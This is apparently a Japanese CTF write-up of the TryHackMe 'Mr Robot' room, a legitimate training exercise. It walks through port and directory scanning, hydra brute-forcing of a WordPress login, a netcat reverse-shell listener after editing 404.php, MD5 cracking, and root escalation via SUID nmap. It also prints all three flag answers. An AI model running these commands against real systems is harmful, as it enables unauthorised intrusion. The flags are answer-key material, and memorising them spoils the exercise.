🙆

[TryHackMe] Mr Robot CTF-writeup

に公開

What is key 1?

nmapによるポートスキャンをします

┌──(notthei㉿kali)-[~]
└─$ nmap -sV -T4 -Pn 10.10.251.180
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-24 09:24 JST
Nmap scan report for 10.10.251.180
Host is up (0.36s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd
443/tcp open  ssl/http Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.74 seconds

ディレクトリの列挙をします

┌──(notthei㉿kali)-[~]
└─$ gobuster dir -u http://10.10.251.180 -w /usr/share/wordlists/dirb/common.txt -Pn
/.hta                 (Status: 403) [Size: 213]
/.htaccess            (Status: 403) [Size: 218]
/.htpasswd            (Status: 403) [Size: 218]
/0                    (Status: 301) [Size: 0] [--> http://10.10.251.180/0/]
/admin                (Status: 301) [Size: 235] [--> http://10.10.251.180/admin/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.251.180/feed/atom/]
/audio                (Status: 301) [Size: 235] [--> http://10.10.251.180/audio/]
/blog                 (Status: 301) [Size: 234] [--> http://10.10.251.180/blog/]
/css                  (Status: 301) [Size: 233] [--> http://10.10.251.180/css/]
/dashboard            (Status: 302) [Size: 0] [--> http://10.10.251.180/wp-admin/]
/favicon.ico          (Status: 200) [Size: 0]
/feed                 (Status: 301) [Size: 0] [--> http://10.10.251.180/feed/]
/image                (Status: 301) [Size: 0] [--> http://10.10.251.180/image/]
/Image                (Status: 301) [Size: 0] [--> http://10.10.251.180/Image/]
/images               (Status: 301) [Size: 236] [--> http://10.10.251.180/images/]
/index.html           (Status: 200) [Size: 1158]
/index.php            (Status: 301) [Size: 0] [--> http://10.10.251.180/]
/intro                (Status: 200) [Size: 516314]
/js                   (Status: 301) [Size: 232] [--> http://10.10.251.180/js/]
/license              (Status: 200) [Size: 309]
/login                (Status: 302) [Size: 0] [--> http://10.10.251.180/wp-login.php]
/page1                (Status: 301) [Size: 0] [--> http://10.10.251.180/]
/phpmyadmin           (Status: 403) [Size: 94]
/rdf                  (Status: 301) [Size: 0] [--> http://10.10.251.180/feed/rdf/]
/readme               (Status: 200) [Size: 64]
/robots               (Status: 200) [Size: 41]
/robots.txt           (Status: 200) [Size: 41]
/rss                  (Status: 301) [Size: 0] [--> http://10.10.251.180/feed/]
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.251.180/feed/]
/sitemap              (Status: 200) [Size: 0]
/sitemap.xml          (Status: 200) [Size: 0]
/video                (Status: 301) [Size: 235] [--> http://10.10.251.180/video/]
/wp-admin             (Status: 301) [Size: 238] [--> http://10.10.251.180/wp-admin/]
/wp-content           (Status: 301) [Size: 240] [--> http://10.10.251.180/wp-content/]
/wp-config            (Status: 200) [Size: 0]
/wp-cron              (Status: 200) [Size: 0]
/wp-includes          (Status: 301) [Size: 241] [--> http://10.10.251.180/wp-includes/]
/wp-load              (Status: 200) [Size: 0]
/wp-links-opml        (Status: 200) [Size: 227]
/wp-login             (Status: 200) [Size: 2613]
/wp-mail              (Status: 500) [Size: 3064]
/wp-settings          (Status: 500) [Size: 0]
/wp-signup            (Status: 302) [Size: 0] [--> http://10.10.251.180/wp-login.php?action=register]
/xmlrpc               (Status: 405) [Size: 42]
/xmlrpc.php           (Status: 405) [Size: 42]

/robots.txtが怪しいので開いてみるとkey-1-of-3.txtと表示されました。
image.png
開いてみます

/key-1-of-3.txtにアクセスするとflagが表示されます。

073403c8a58a1f80d943455fb30724b9

What is key 2?

/wp-loginにアクセスするとwordpressのログイン画面でした。
先のfsocity.dicにもアクセスしてみると辞書ファイルでした。
image.png

このログイン画面に辞書ファイルを使用して辞書攻撃を仕掛けてみます。
burpsuiteでリクエストを取得しhydraを使います

┌──(notthei㉿kali)-[~]
└─$ hydra -L fsocity.dic -p test 10.10.251.180 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.251.180%2Fwp-admin%2F&testcookie=1:Invalid username"
 
[80][http-post-form] host: 10.10.251.180   login: Elliot   password: test

Elliotというユーザを発見しました。
次にパスワードをクラックします

┌──(notthei㉿kali)-[~]
└─$ hydra -l Elliot -P /usr/share/wordlists/rockyou.txt 10.10.251.180 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.251.180%2Fwp-admin%2F&testcookie=1:The password you entered for the username" -t 30

私の所持しているwordlistではクラックできませんでした😭
色々探していると/license.txtのソースにbase64で書かれた怪しいファイルを発見しました。
image.png

what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?
do you want a password or something?
ZWxsaW90OkVSMjgtMDY1Mgo=

めっちゃ改行されてました。
解読するとパスが得られました。
elliot:ER28-0652

AppearanceEdit Themeにてphpファイルを編集できるので適当に404.phpにRCEを書いて編集してみます。

┌──(notthei㉿kali)-[~]
└─$ nc -lvnp 9999               
listening on [any] 9999 ...
connect to [10.8.152.215] from (UNKNOWN) [10.10.251.180] 49260
Linux ip-10-10-251-180 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
 01:18:32 up  1:00,  0 users,  load average: 0.00, 0.01, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
deamon

RCEが取れました。

daemon@ip-10-10-251-180:/home/robot$ cat key-2-of-3.txt
cat key-2-of-3.txt
cat: key-2-of-3.txt: Permission denied
daemon@ip-10-10-251-180:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

key-2-of-3.txtを見ても権限がなく閲覧できません
代わりにpassword.raw-md5は見れました。
ハッシュがあるのでcrackstationでクラックするとパスが表示されます。
image.png

daemon@ip-10-10-251-180:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@ip-10-10-251-180:~$ whoami
whoami
robot
robot@ip-10-10-251-180:~$ ls
ls
key-2-of-3.txt  password.raw-md5
robot@ip-10-10-251-180:~$ cd key-2-of-3.txt
cd key-2-of-3.txt
bash: cd: key-2-of-3.txt: Not a directory
robot@ip-10-10-251-180:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959

822c73956184f694993bede3eb39f959

What is key 3?

怪しいファイルを探します。

robot@ip-10-10-251-180:~$ find / -user root -perm -4000 2>&1
find / -user root -perm -4000 2>&1
/bin/umount
/bin/mount
/bin/su
find: ‘/run/user/1002/inaccessible’: Permission denied
find: ‘/run/sudo’: Permission denied
find: ‘/run/systemd/unit-root’: Permission denied
find: ‘/run/systemd/inaccessible’: Permission denied
find: ‘/run/initramfs’: Permission denied
find: ‘/etc/polkit-1/localauthority’: Permission denied
find: ‘/etc/sudoers.d’: Permission denied
find: ‘/etc/ssl/private’: Permission denied
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/pkexec
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

nmapが怪しいらしいです。
GTFOBinsでnmapのrootシェルが取得できるらしいので調べると

nmap --interactiveでrootに成れました!
あとは/rootにあるflagを取得して終了です。

nmap> cat root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4

Discussion